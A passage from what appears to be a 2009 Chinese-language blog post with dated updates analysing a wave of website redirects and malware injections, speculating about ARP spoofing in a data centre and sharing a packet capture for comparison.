不過就算真的是IDC裡面某台機器有問題成為掛馬的元兇,應該也會在發現後湮滅掉證據,真正的實情如何我想應該是不會被公開出來的,各位專家就繼續猜吧~~XD

13. 2009-03-11 update. ARP 掛馬的作業模式觀察
由目前找到的ARP掛馬工具實測並觀察封包模式之後來看,ARP掛馬並不會在gateway之外出現兩個封包,所以這種攻擊方式應該比較屬於網路節點中途攔截並搶先送出假造封包.

14.2009-03-12 update.
接到網友專家的來信討論,的確我也感覺之前下的結論過於武斷,由行為模式來看是像機房或是骨幹遭到ARP spoofing,但實際封包模式又不太類似,當然也可能是另一種實作的方式.
不過這些都只是由外部現況及有限的證據進行猜測,並沒法接觸到問題的核心點.
真相到底是如何?我想除非有核心人士出來爆料..否則很快就會被時間給淹沒了..

15.2009-03-13 update.
這篇員外 Security: 網站轉址攻擊-ARP掛馬 點出了我在2009-03-11時的一個判斷上的盲點,如果是要在網路節點中途攔截,若非使用arp spoofing,除非直接打入router,或是作port mirror過去才行,不然理論上是沒法聽到unicast的tcp封包..(這年頭應該不會有人還在用hub吧,何況是IDC..)
另外附上2008-12-24用wireshark錄到的封包樣本 http://www.swm.idv.tw/20081224_cap.zip 有興趣或是手上有2009-03大規模轉址封包樣本的朋友可以抓回去分析比對看看.